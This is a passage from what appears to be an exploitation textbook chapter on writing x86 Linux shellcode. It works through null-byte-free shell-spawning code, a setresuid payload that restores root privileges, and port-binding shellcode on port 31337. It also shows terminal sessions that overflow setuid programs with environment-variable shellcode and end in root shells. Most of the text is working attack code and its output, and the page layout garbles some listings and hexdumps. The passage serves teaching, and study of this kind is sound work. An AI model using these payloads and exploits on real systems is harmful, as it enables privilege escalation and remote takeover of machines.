Looking at the disassembly, it is obvious that the first null bytes come from the call instruction. reader@hacking:~/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000 call 0x14 00000005 48 dec eax 00000006 656C gs insb 00000008 6C insb 00000009 6F outsd 0000000A 2C20 sub al,0x20 0000000C 776F ja 0x7d 0000000E 726C jc 0x7c 00000010 64210A and [fs:edx],ecx 00000013 0D59B80400 or eax,0x4b859 00000018 0000 add [eax],al 0000001A BB01000000 mov ebx,0x1 0000001F BA0F000000 mov edx,0xf 00000024 CD80 int 0x80 00000026 B801000000 mov eax,0x1 0000002B BB00000000 mov ebx,0x0 00000030 CD80 int 0x80 reader@hacking:~/booksrc $

This instruction jumps execution forward by 19 (0x13) bytes, based on the first operand. The call instruction allows for much longer jump distances,
290
0x 500

which means that a small value like 19 will have to be padded with leading zeros resulting in null bytes. One way around this problem takes advantage of two’s complement. A small negative number will have its leading bits turned on, resulting in 0xff bytes. This means that, if we call using a negative value to move backward in execution, the machine code for that instruction won’t have any null bytes. The following revision of the helloworld shellcode uses a standard implementation of this trick: Jump to the end of the shellcode to a call instruction which, in turn, will jump back to a pop instruction at the beginning of the shellcode. helloworld2.s
BITS 32 jmp short one two: ; ssize_t write(int pop ecx mov eax, 4 mov ebx, 1 mov edx, 15 int 0x80 ; Tell nasm this is 32-bit code. ; Jump down to a call at the end.

fd, const void *buf, size_t count); ; Pop the return address (string ptr) into ecx. ; Write syscall #. ; STDOUT file descriptor ; Length of the string ; Do syscall: write(1, string, 14)

; void _exit(int status); mov eax, 1 ; Exit syscall # mov ebx, 0 ; Status = 0 int 0x80 ; Do syscall: exit(0) one: call two ; Call back upwards to avoid null bytes db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes.

After assembling this new shellcode, disassembly shows that the call instruction (shown in italics below) is now free of null bytes. This solves the first and most difficult null-byte problem for this shellcode, but there are still many other null bytes (shown in bold). reader@hacking:~/booksrc $ nasm helloworld2.s reader@hacking:~/booksrc $ ndisasm -b32 helloworld2 00000000 EB1E jmp short 0x20 00000002 59 pop ecx 00000003 B804000000 mov eax,0x4 00000008 BB01000000 mov ebx,0x1 0000000D BA0F000000 mov edx,0xf 00000012 CD80 int 0x80 00000014 B801000000 mov eax,0x1 00000019 BB00000000 mov ebx,0x0 0000001E CD80 int 0x80 00000020 E8DDFFFFFF call 0x2 00000025 48 dec eax 00000026 656C gs insb 00000028 6C insb
Sh el lc ode

291

00000029 6F 0000002A 2C20 0000002C 776F 0000002E 726C 00000030 64210A 00000033 0D reader@hacking:~/booksrc $

outsd sub al,0x20 ja 0x9d jc 0x9c and [fs:edx],ecx db 0x0D

These remaining null bytes can be eliminated with an understanding of register widths and addressing. Notice that the first jmp instruction is actually jmp short. This means execution can only jump a maximum of approximately 128 bytes in either direction. The normal jmp instruction, as well as the call instruction (which has no short version), allows for much longer jumps. The difference between assembled machine code for the two jump varieties is shown below:
EB 1E jmp short 0x20

versus
E9 1E 00 00 00 jmp 0x23

The EAX, EBX, ECX, EDX, ESI, EDI, EBP, and ESP registers are 32 bits in width. The E stands for extended, because these were originally 16-bit registers called AX, BX, CX, DX, SI, DI, BP, and SP. These original 16-bit versions of the registers can still be used for accessing the first 16 bits of each corresponding 32-bit register. Furthermore, the individual bytes of the AX, BX, CX, and DX registers can be accessed as 8-bit registers called AL, AH, BL, BH, CL, CH, DL, and DH, where L stands for low byte and H for high byte. Naturally, assembly instructions using the smaller registers only need to specify operands up to the register’s bit width. The three variations of a mov instruction are shown below.
Machine code
B8 04 00 00 00 66 B8 04 00 B0 04

Assembly mov eax,0x4 mov ax,0x4 mov al,0x4

Using the AL, BL, CL, or DL register will put the correct least significant byte into the corresponding extended register without creating any null bytes in the machine code. However, the top three bytes of the register could still contain anything. This is especially true for shellcode, since it will be taking over another process. If we want the 32-bit register values to be correct, we need to zero out the entire register before the mov instructions—but this, again, must be done without using null bytes. Here are some more simple assembly instructions for your arsenal. These first two are small instructions that increment and decrement their operand by one.
292
0x 500

Instruction inc dec

Description Increment the target operand by adding 1 to it. Decrement the target operand by subtracting 1 from it.

The next few instructions, like the mov instruction, have two operands. They all do simple arithmetic and bitwise logical operations between the two operands, storing the result in the first operand.
Instruction
add , sub , or ,

Description Add the source operand to the destination operand, storing the result in the destination. Subtract the source operand from the destination operand, storing the result in the destination. Perform a bitwise or logic operation, comparing each bit of one operand with the corresponding bit of the other operand. 1 1 0 0 or or or or 0 1 1 0 = = = = 1 1 1 0

If the source bit or the destination bit is on, or if both of them are on, the result bit is on; otherwise, the result is off. The final result is stored in the destination operand. and ,

Perform a bitwise and logic operation, comparing each bit of one operand with the corresponding bit of the other operand. 1 1 0 0 or or or or 0 1 1 0 = = = = 0 1 0 0

The result bit is on only if both the source bit and the destination bit are on. The final result is stored in the destination operand. xor ,

Perform a bitwise exclusive or (xor) logical operation, comparing each bit of one operand with the corresponding bit of the other operand. 1 1 0 0 or or or or 0 1 1 0 = = = = 1 0 1 0

If the bits differ, the result bit is on; if the bits are the same, the result bit is off. The final result is stored in the destination operand.

One method is to move an arbitrary 32-bit number into the register and then subtract that value from the register using the mov and sub instructions:
B8 44 33 22 11 2D 44 33 22 11 mov eax,0x11223344 sub eax,0x11223344

While this technique works, it takes 10 bytes to zero out a single register, making the assembled shellcode larger than necessary. Can you think of a way to optimize this technique? The DWORD value specified in each instruction
Sh el lc ode

293

comprises 80 percent of the code. Subtracting any value from itself also produces 0 and doesn’t require any static data. This can be done with a single two-byte instruction:
29 C0 sub eax,eax

Using the sub instruction will work fine when zeroing registers at the beginning of shellcode. This instruction will modify processor flags, which are used for branching, however. For that reason, there is a preferred twobyte instruction that is used to zero registers in most shellcode. The xor instruction performs an exclusive or operation on the bits in a register. Since 1 xored with 1 results in a 0, and 0 xored with 0 results in a 0, any value xored with itself will result in 0. This is the same result as with any value subtracted from itself, but the xor instruction doesn’t modify processor flags, so it’s considered to be a cleaner method.
31 C0 xor eax,eax

You can safely use the sub instruction to zero registers (if done at the beginning of the shellcode), but the xor instruction is most commonly used in shellcode in the wild. This next revision of the shellcode makes use of the smaller registers and the xor instruction to avoid null bytes. The inc and dec instructions have also been used when possible to make for even smaller shellcode. helloworld3.s
BITS 32 jmp short one two: ; ssize_t write(int pop ecx xor eax, eax mov al, 4 xor ebx, ebx inc ebx xor edx, edx mov dl, 15 int 0x80 ; Tell nasm this is 32-bit code. ; Jump down to a call at the end.

fd, const void *buf, size_t count); ; Pop the return address (string ptr) into ecx. ; Zero out full 32 bits of eax register. ; Write syscall #4 to the low byte of eax. ; Zero out ebx. ; Increment ebx to 1, STDOUT file descriptor. ; Length of the string ; Do syscall: write(1, string, 14)

; void _exit(int status); mov al, 1 ; Exit syscall #1, the top 3 bytes are still zeroed. dec ebx ; Decrement ebx back down to 0 for status = 0. int 0x80 ; Do syscall: exit(0) one: call two ; Call back upwards to avoid null bytes db "Hello, world!", 0x0a, 0x0d ; with newline and carriage return bytes.

294

0x 500

After assembling this shellcode, hexdump and grep are used to quickly check it for null bytes. reader@hacking:~/booksrc reader@hacking:~/booksrc 00000000 eb 13 59 31 c0 00000010 b0 01 4b cd 80 00000020 20 77 6f 72 6c 00000029 reader@hacking:~/booksrc $ nasm helloworld3.s $ hexdump -C helloworld3 | grep --color=auto 00 b0 04 31 db 43 31 d2 b2 0f cd 80 |..Y1...1.C1.....| e8 e8 ff ff ff 48 65 6c 6c 6f 2c |..K.......Hello,| 64 21 0a 0d | world!..| $

Now this shellcode is usable, as it doesn’t contain any null bytes. When used with an exploit, the notesearch program is coerced into greeting the world like a newbie. reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld3) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9bc reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xbc\xf9\xff\xbf"x40') [DEBUG] found a 33 byte note for user id 999 -------[ end of note data ]------Hello, world! reader@hacking :~/booksrc $

0x530 Shell-Spawning Shellcode
Now that you’ve learned how to make system calls and avoid null bytes, all sorts of shellcodes can be constructed. To spawn a shell, we just need to make a system call to execute the /bin/sh shell program. System call number 11, execve(), is similar to the C execute() function that we used in the previous chapters.
EXECVE(2) NAME execve - execute program SYNOPSIS #include int execve(const char *filename, char *const argv[], char *const envp[]); DESCRIPTION execve() executes the program pointed to by filename. Filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are
Sh el lc ode

Linux Programmer's Manual

EXECVE(2)

295

passed as environment to the new program. Both argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program's main function, when it is defined as int main(int argc, char *argv[], char *envp[]).

The first argument of the filename should be a pointer to the string
"/bin/sh", since this is what we want to execute. The environment array—

the third argument—can be empty, but it still need to be terminated with a 32-bit null pointer. The argument array—the second argument—must be nullterminated, too; it must also contain the string pointer (since the zeroth argument is the name of the running program). Done in C, a program making this call would look like this: exec_shell.c
#include int main() { char filename[] = "/bin/sh\x00"; char **argv, **envp; // Arrays that contain char pointers argv[0] = filename; // The only argument is filename. argv[1] = 0; // Null terminate the argument array. envp[0] = 0; // Null terminate the environment array. execve(filename, argv, envp); }

To do this in assembly, the argument and environment arrays need to be built in memory. In addition, the "/bin/sh" string needs to be terminated with a null byte. This must be built in memory as well. Dealing with memory in assembly is similar to using pointers in C. The lea instruction, whose name stands for load effective address, works like the address-of operator in C.
Instruction
lea ,

Description Load the effective address of the source operand into the destination operand.

With Intel assembly syntax, operands can be dereferenced as pointers if they are surrounded by square brackets. For example, the following instruction in assembly will treat EBX+12 as a pointer and write eax to where it’s pointing.
89 43 0C mov [ebx+12],eax

The following shellcode uses these new instructions to build the execve() arguments in memory. The environment array is collapsed into the end of the argument array, so they share the same 32-bit null terminator.

296

0x 500

exec_shell.s
BITS 32 jmp one: ; int pop xor mov mov mov lea lea mov int short two ; Jump down to the bottom for the call trick.

execve(const char *filename, char *const argv [], char *const envp[]) ebx ; Ebx has the addr of the string. eax, eax ; Put 0 into eax. [ebx+7], al ; Null terminate the /bin/sh string. [ebx+8], ebx ; Put addr from ebx where the AAAA is. [ebx+12], eax ; Put 32-bit null terminator where the BBBB is. ecx, [ebx+8] ; Load the address of [ebx+8] into ecx for argv ptr. edx, [ebx+12] ; Edx = ebx + 12, which is the envp ptr. al, 11 ; Syscall #11 0x80 ; Do it.

two: call one ; Use a call to get string address. db '/bin/shXAAAABBBB' ; The XAAAABBBB bytes aren't needed.

After terminating the string and building the arrays, the shellcode uses the lea instruction (shown in bold above) to put a pointer to the argument array into the ECX register. Loading the effective address of a bracketed register added to a value is an efficient way to add the value to the register and store the result in another register. In the example above, the brackets dereference EBX+8 as the argument to lea, which loads that address into EDX. Loading the address of a dereferenced pointer produces the original pointer, so this instruction puts EBX+8 into EDX. Normally, this would require both a mov and an add instruction. When assembled, this shellcode is devoid of null bytes. It will spawn a shell when used in an exploit. reader@hacking:~/booksrc $ nasm exec_shell.s reader@hacking:~/booksrc $ wc -c exec_shell 36 exec_shell reader@hacking:~/booksrc $ hexdump -C exec_shell 00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 00000020 6e 2f 73 68 00000024 reader@hacking:~/booksrc $ export SHELLCODE=$(cat reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE SHELLCODE will be at 0xbffff9c0 reader@hacking:~/booksrc $ ./notesearch $(perl -e [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 [DEBUG] found a 5 byte note for user id 999 [DEBUG] found a 35 byte note for user id 999 [DEBUG] found a 9 byte note for user id 999 [DEBUG] found a 33 byte note for user id 999 -------[ end of note data ]-------

0c 8d 4b 2f 62 69

|..[1..C..[..C..K| |..S........../bi| |n/sh|

exec_shell) ./notesearch 'print "\xc0\xf9\xff\xbf"x40')

Sh el lc ode

297

sh-3.2# whoami root sh-3.2#

This shellcode, however, can be shortened to less than the current 45 bytes. Since shellcode needs to be injected into program memory somewhere, smaller shellcode can be used in tighter exploit situations with smaller usable buffers. The smaller the shellcode, the more situations it can be used in. Obviously, the XAAAABBBB visual aid can be trimmed from the end of the string, which brings the shellcode down to 36 bytes. reader@hacking:~/booksrc/shellcodes $ 00000000 eb 16 5b 31 c0 88 43 07 89 00000010 08 8d 53 0c b0 0b cd 80 e8 00000020 6e 2f 73 68 00000024 reader@hacking:~/booksrc/shellcodes $ 36 exec_shell reader@hacking:~/booksrc/shellcodes $ hexdump -C exec_shell 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K| e5 ff ff ff 2f 62 69 |..S........../bi| |n/sh| wc -c exec_shell

This shellcode can be shrunk down further by redesigning it and using registers more efficiently. The ESP register is the stack pointer, pointing to the top of the stack. When a value is pushed to the stack, ESP is moved up in memory (by subtracting 4) and the value is placed at the top of the stack. When a value is popped from the stack, the pointer in ESP is moved down in memory (by adding 4). The following shellcode uses push instructions to build the necessary structures in memory for the execve() system call. tiny_shell.s
BITS 32 ; execve(const char xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80 *filename, char *const argv [], char *const envp[]) ; Zero out eax. ; Push some nulls for string termination. ; Push "//sh" to the stack. ; Push "/bin" to the stack. ; Put the address of "/bin//sh" into ebx, via esp. ; Push 32-bit null terminator to stack. ; This is an empty array for envp. ; Push string addr to stack above null terminator. ; This is the argv array with string ptr. ; Syscall #11. ; Do it.

This shellcode builds the null-terminated string "/bin//sh" on the stack, and then copies ESP for the pointer. The extra backslash doesn’t matter and is effectively ignored. The same method is used to build the arrays for the remaining arguments. The resulting shellcode still spawns a shell but is only 25 bytes, compared to 36 bytes using the jmp call method.
298
0x 500

reader@hacking:~/booksrc $ nasm tiny_shell.s reader@hacking:~/booksrc $ wc -c tiny_shell 25 tiny_shell reader@hacking:~/booksrc $ hexdump -C tiny_shell 00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 00000010 89 e2 53 89 e1 b0 0b cd 80 00000019 reader@hacking:~/booksrc $ export SHELLCODE=$(cat reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE SHELLCODE will be at 0xbffff9cb reader@hacking:~/booksrc $ ./notesearch $(perl -e [DEBUG] found a 34 byte note for user id 999 [DEBUG] found a 41 byte note for user id 999 [DEBUG] found a 5 byte note for user id 999 [DEBUG] found a 35 byte note for user id 999 [DEBUG] found a 9 byte note for user id 999 [DEBUG] found a 33 byte note for user id 999 -------[ end of note data ]------sh-3.2#

89 e3 50

|1.Ph//shh/bin..P| |..S......|

tiny_shell) ./notesearch 'print "\xcb\xf9\xff\xbf"x40')

0x531 A Matter of Privilege
To help mitigate rampant privilege escalation, some privileged processes will lower their effective privileges while doing things that don’t require that kind of access. This can be done with the seteuid() function, which will set the effective user ID. By changing the effective user ID, the privileges of the process can be changed. The manual page for the seteuid() function is shown below.
SETEGID(2) NAME seteuid, setegid - set effective user or group ID SYNOPSIS #include #include int seteuid(uid_t euid); int setegid(gid_t egid); DESCRIPTION seteuid() sets the effective user ID of the current process. Unprivileged user processes may only set the effective user ID to ID to the real user ID, the effective user ID or the saved set-user-ID. Precisely the same holds for setegid() with "group" instead of "user". RETURN VALUE On success, zero is returned. On error, -1 is returned, and errno is set appropriately. Linux Programmer's Manual SETEGID(2)

This function is used by the following code to drop privileges down to those of the “games” user before the vulnerable strcpy() call.
Sh el lc ode

299

drop_privs.c
#include void lowered_privilege_function(unsigned char *ptr) { char buffer[50]; seteuid(5); // Drop privileges to games user. strcpy(buffer, ptr); } int main(int argc, char *argv[]) { if (argc > 0) lowered_privilege_function(argv[1]); }

Even though this compiled program is setuid root, the privileges are dropped to the games user before the shellcode can execute. This only spawns a shell for the games user, without root access. reader@hacking:~/booksrc $ gcc -o drop_privs drop_privs.c reader@hacking:~/booksrc $ sudo chown root ./drop_privs; sudo chmod u+s ./drop_privs reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./drop_privs SHELLCODE will be at 0xbffff9cb reader@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xcb\xf9\xff\xbf"x40') sh-3.2$ whoami games sh-3.2$ id uid=999(reader) gid=999(reader) euid=5(games) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scan ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader) sh-3.2$

Fortunately, the privileges can easily be restored at the beginning of our shellcode with a system call to set the privileges back to root. The most complete way to do this is with a setresuid() system call, which sets the real, effective, and saved user IDs. The system call number and manual page are shown below. reader@hacking:~/booksrc $ grep -i setresuid /usr/include/asm-i386/unistd.h #define __NR_setresuid 164 #define __NR_setresuid32 208 reader@hacking:~/booksrc $ man 2 setresuid SETRESUID(2) Linux Programmer's Manual SETRESUID(2) NAME setresuid, setresgid - set real, effective and saved user or group ID SYNOPSIS #define _GNU_SOURCE #include

300

0x 500

int setresuid(uid_t ruid, uid_t euid, uid_t suid); int setresgid(gid_t rgid, gid_t egid, gid_t sgid); DESCRIPTION setresuid() sets the real user ID, the effective user ID, and the saved set-user-ID of the current process.

The following shellcode makes a call to setresuid() before spawning the shell to restore root privileges. priv_shell.s
BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; Zero out eax. xor ebx, ebx ; Zero out ebx. xor ecx, ecx ; Zero out ecx. xor edx, edx ; Zero out edx. mov al, 0xa4 ; 164 (0xa4) for syscall #164 int 0x80 ; setresuid(0, 0, 0) Restore all root privs. ; execve(const char xor eax, eax mov al, 11 push ecx push 0x68732f2f push 0x6e69622f mov ebx, esp push ecx mov edx, esp push ebx mov ecx, esp int 0x80 *filename, char *const argv [], char *const envp[]) ; Make sure eax is zeroed again. ; syscall #11 ; push some nulls for string termination. ; push "//sh" to the stack. ; push "/bin" to the stack. ; Put the address of "/bin//sh" into ebx via esp. ; push 32-bit null terminator to stack. ; This is an empty array for envp. ; push string addr to stack above null terminator. ; This is the argv array with string ptr. ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

This way, even if a program is running under lowered privileges when it’s exploited, the shellcode can restore the privileges. This effect is demonstrated below by exploiting the same program with dropped privileges. reader@hacking:~/booksrc $ nasm priv_shell.s reader@hacking:~/booksrc $ export SHELLCODE=$(cat priv_shell) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./drop_privs SHELLCODE will be at 0xbffff9bf reader@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xbf\xf9\xff\xbf"x40') sh-3.2# whoami root sh-3.2# id uid=0(root) gid=999(reader) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scan ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader) sh-3.2#

Sh el lc ode

301

0x532 And Smaller Still
A few more bytes can still be shaved off this shellcode. There is a single-byte x86 instruction called cdq , which stands for convert doubleword to quadword. Instead of using operands, this instruction always gets its source from the EAX register and stores the results between the EDX and EAX registers. Since the registers are 32-bit doublewords, it takes two registers to store a 64-bit quadword. The conversion is simply a matter of extending the sign bit from a 32-bit integer to 64-bit integer. Operationally, this means if the sign bit of EAX is 0, the cdq instruction will zero the EDX register. Using xor to zero the EDX register requires two bytes; so, if EAX is already zeroed, using the cdq instruction to zero EDX will save one byte
31 D2 xor edx,edx

compared to
99 cdq

Another byte can be saved with clever use of the stack. Since the stack is 32-bit aligned, a single byte value pushed to the stack will be aligned as a doubleword. When this value is popped off, it will be sign-extended, filling the entire register. The instructions that push a single byte and pop it back into a register take three bytes, while using xor to zero the register and moving a single byte takes four bytes
31 C0 B0 0B xor eax,eax mov al,0xb

compared to
6A 0B 58 push byte +0xb pop eax

These tricks (shown in bold) are used in the following shellcode listing. This assembles into the same shellcode as that used in the previous chapters. shellcode.s
BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor eax, eax ; Zero out eax. xor ebx, ebx ; Zero out ebx. xor ecx, ecx ; Zero out ecx. cdq ; Zero out edx using the sign bit from eax. mov BYTE al, 0xa4 ; syscall 164 (0xa4) int 0x80 ; setresuid(0, 0, 0) Restore all root privs. ; execve(const char *filename, char *const argv [], char *const envp[])

302

0x 500

push BYTE 11 pop eax push ecx push 0x68732f2f push 0x6e69622f mov ebx, esp push ecx mov edx, esp push ebx mov ecx, esp int 0x80

; ; ; ; ; ; ; ; ; ; ;

push 11 to the stack. pop the dword of 11 into eax. push some nulls for string termination. push "//sh" to the stack. push "/bin" to the stack. Put the address of "/bin//sh" into ebx via esp. push 32-bit null terminator to stack. This is an empty array for envp. push string addr to stack above null terminator. This is the argv array with string ptr. execve("/bin//sh", ["/bin//sh", NULL], [NULL])

The syntax for pushing a single byte requires the size to be declared. Valid sizes are BYTE for one byte, WORD for two bytes, and DWORD for four bytes. These sizes can be implied from register widths, so moving into the AL register implies the BYTE size. While it’s not necessary to use a size in all situations, it doesn’t hurt and can help readability.

0x540 Port-Binding Shellcode
When exploiting a remote program, the shellcode we’ve designed so far won’t work. The injected shellcode needs to communicate over the network to deliver an interactive root prompt. Port-binding shellcode will bind the shell to a network port where it listens for incoming connections. In the previous chapter, we used this kind of shellcode to exploit the tinyweb server. The following C code binds to port 31337 and listens for a TCP connection. bind_port.c
#include #include #include #include #include

int main(void) { int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd struct sockaddr_in host_addr, client_addr; // My address information socklen_t sin_size; int yes=1; sockfd = socket(PF_INET, SOCK_STREAM, 0); host_addr.sin_family = AF_INET; host_addr.sin_port = htons(31337); host_addr.sin_addr.s_addr = INADDR_ANY; memset(&(host_addr.sin_zero), '\0', 8); // // // // Host byte order Short, network byte order Automatically fill with my IP. Zero the rest of the struct.

bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); listen(sockfd, 4);

Sh el lc ode

303

sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); }

These familiar socket functions can all be accessed with a single Linux system call, aptly named socketcall(). This is syscall number 102, which has a slightly cryptic manual page. reader@hacking:~/booksrc $ grep socketcall /usr/include/asm-i386/unistd.h #define __NR_socketcall 102 reader@hacking:~/booksrc $ man 2 socketcall IPC(2) Linux Programmer's Manual IPC(2) NAME socketcall - socket system calls SYNOPSIS int socketcall(int call, unsigned long *args); DESCRIPTION socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call. User programs should call the appropriate functions by their usual names. Only standard library implementors and kernel hackers need to know about socketcall().

The possible call numbers for the first argument are listed in the linux/net.h include file. From /usr/include/linux/net.h
#define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define #define SYS_SOCKET 1 /* sys_socket(2) */ SYS_BIND 2 /* sys_bind(2) */ SYS_CONNECT 3 /* sys_connect(2) */ SYS_LISTEN 4 /* sys_listen(2) */ SYS_ACCEPT 5 /* sys_accept(2) */ SYS_GETSOCKNAME 6 /* sys_getsockname(2) */ SYS_GETPEERNAME 7 /* sys_getpeername(2) */ SYS_SOCKETPAIR 8 /* sys_socketpair(2) */ SYS_SEND 9 /* sys_send(2) */ SYS_RECV 10 /* sys_recv(2) */ SYS_SENDTO 11 /* sys_sendto(2) */ SYS_RECVFROM 12 /* sys_recvfrom(2) */ SYS_SHUTDOWN 13 /* sys_shutdown(2) */ SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */ SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */ SYS_SENDMSG 16 /* sys_sendmsg(2) */ SYS_RECVMSG 17 /* sys_recvmsg(2) */

304

0x 500

So, to make socket system calls using Linux, EAX is always 102 for socketcall(), EBX contains the type of socket call, and ECX is a pointer to

the socket call’s arguments. The calls are simple enough, but some of them require a sockaddr structure, which must be built by the shellcode. Debugging the compiled C code is the most direct way to look at this structure in memory. reader@hacking:~/booksrc $ gcc -g bind_port.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 18 13 sockfd = socket(PF_INET, SOCK_STREAM, 0); 14 15 host_addr.sin_family = AF_INET; // Host byte order 16 host_addr.sin_port = htons(31337); // Short, network byte order 17 host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP. 18 memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct. 19 20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); 21 22 listen(sockfd, 4); (gdb) break 13 Breakpoint 1 at 0x804849b: file bind_port.c, line 13. (gdb) break 20 Breakpoint 2 at 0x80484f5: file bind_port.c, line 20. (gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, main () at bind_port.c:13 13 sockfd = socket(PF_INET, SOCK_STREAM, 0); (gdb) x/5i $eip 0x804849b : mov DWORD PTR [esp+8],0x0 0x80484a3 : mov DWORD PTR [esp+4],0x1 0x80484ab : mov DWORD PTR [esp],0x2 0x80484b2 : call 0x8048394 0x80484b7 : mov DWORD PTR [ebp-12],eax (gdb)

The first breakpoint is just before the socket call happens, since we need to check the values of PF_INET and SOCK_STREAM. All three arguments are pushed to the stack (but with mov instructions) in reverse order. This means PF_INET is 2 and SOCK_STREAM is 1.
(gdb) cont Continuing. Breakpoint 2, main () at bind_port.c:20 20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)); (gdb) print host_addr $1 = {sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0}, sin_zero = "\000\000\000\000\000\000\000"} (gdb) print sizeof(struct sockaddr)

Sh el lc ode

305

$2 = 16 (gdb) x/16xb &host_addr 0xbffff780: 0x02 0x00 0xbffff788: 0x00 0x00 (gdb) p /x 27002 $3 = 0x697a (gdb) p 0x7a69 $4 = 31337 (gdb)

0x7a 0x00

0x69 0x00

0x00 0x00

0x00 0x00

0x00 0x00

0x00 0x00

The next breakpoint happens after the sockaddr structure is filled with values. The debugger is smart enough to decode the elements of the structure when host_addr is printed, but now you need to be smart enough to realize the port is stored in network byte order. The sin_family and sin_port elements are both words, followed by the address as a DWORD. In this case, the address is 0, which means any address can be used for binding. The remaining eight bytes after that are just extra space in the structure. The first eight bytes in the structure (shown in bold) contain all the important information. The following assembly instructions perform all the socket calls needed to bind to port 31337 and accept TCP connections. The sockaddr structure and the argument arrays are each created by pushing values in reverse order to the stack and then copying ESP into ECX. The last eight bytes of the sockaddr structure aren’t actually pushed to the stack, since they aren’t used. Whatever random eight bytes happen to be on the stack will occupy this space, which is fine. bind_port.s
BITS 32 ; s = socket(2, 1, 0) push BYTE 0x66 ; socketcall is syscall #102 (0x66). pop eax cdq ; Zero out edx for use as a null DWORD later. xor ebx, ebx ; ebx is the type of socketcall. inc ebx ; 1 = SYS_SOCKET = socket() push edx ; Build arg array: { protocol = 0, push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1, push BYTE 0x2 ; AF_INET = 2 } mov ecx, esp ; ecx = ptr to argument array int 0x80 ; After syscall, eax has socket file descriptor. mov esi, eax ; save socket FD in esi for later

; bind(s, [2, 31337, 0], 16) push BYTE 0x66 ; socketcall (syscall #102) pop eax inc ebx ; ebx = 2 = SYS_BIND = bind() push edx ; Build sockaddr struct: INADDR_ANY = 0 push WORD 0x697a ; (in reverse order) PORT = 31337 push WORD bx ; AF_INET = 2 mov ecx, esp ; ecx = server struct pointer

306

0x 500

push BYTE 16 push ecx push esi mov ecx, esp int 0x80

; argv: { sizeof(server struct) = 16, ; server struct pointer, ; socket file descriptor } ; ecx = argument array ; eax = 0 on success

; listen(s, 0) mov BYTE al, 0x66 ; socketcall (syscall #102) inc ebx inc ebx ; ebx = 4 = SYS_LISTEN = listen() push ebx ; argv: { backlog = 4, push esi ; socket fd } mov ecx, esp ; ecx = argument array int 0x80 ; c = accept(s, 0, 0) mov BYTE al, 0x66 ; inc ebx ; push edx ; push edx ; push esi ; mov ecx, esp ; int 0x80 ;

socketcall (syscall #102) ebx = 5 = SYS_ACCEPT = accept() argv: { socklen = 0, sockaddr ptr = NULL, socket fd } ecx = argument array eax = connected socket FD

When assembled and used in an exploit, this shellcode will bind to port 31337 and wait for an incoming connection, blocking at the accept call. When a connection is accepted, the new socket file descriptor is put into EAX at the end of this code. This won’t really be useful until it’s combined with the shell-spawning code described earlier. Fortunately, standard file descriptors make this fusion remarkably simple.

0x541 Duplicating Standard File Descriptors
Standard input, standard output, and standard error are the three standard file descriptors used by programs to perform standard I/O. Sockets, too, are just file descriptors that can be read from and written to. By simply swapping the standard input, output, and error of the spawned shell with the connected socket file descriptor, the shell will write output and errors to the socket and read its input from the bytes that the socket received. There is a system call specifically for duplicating file descriptors, called dup2. This is system call number 63. reader@hacking:~/booksrc $ grep dup2 /usr/include/asm-i386/unistd.h #define __NR_dup2 63 reader@hacking:~/booksrc $ man 2 dup2 DUP(2) Linux Programmer's Manual NAME dup, dup2 - duplicate a file descriptor SYNOPSIS #include

DUP(2)

Sh el lc ode

307

int dup(int oldfd); int dup2(int oldfd, int newfd); DESCRIPTION dup() and dup2() create a copy of the file descriptor oldfd. dup2() makes newfd be the copy of oldfd, closing newfd first if necessary.

The bind_port.s shellcode left off with the connected socket file descriptor in EAX. The following instructions are added in the file bind_shell_beta.s to duplicate this socket into the standard I/O file descriptors; then, the tiny_shell instructions are called to execute a shell in the current process. The spawned shell’s standard input and output file descriptors will be the TCP connection, allowing remote shell access. New Instructions from bind_shell1.s
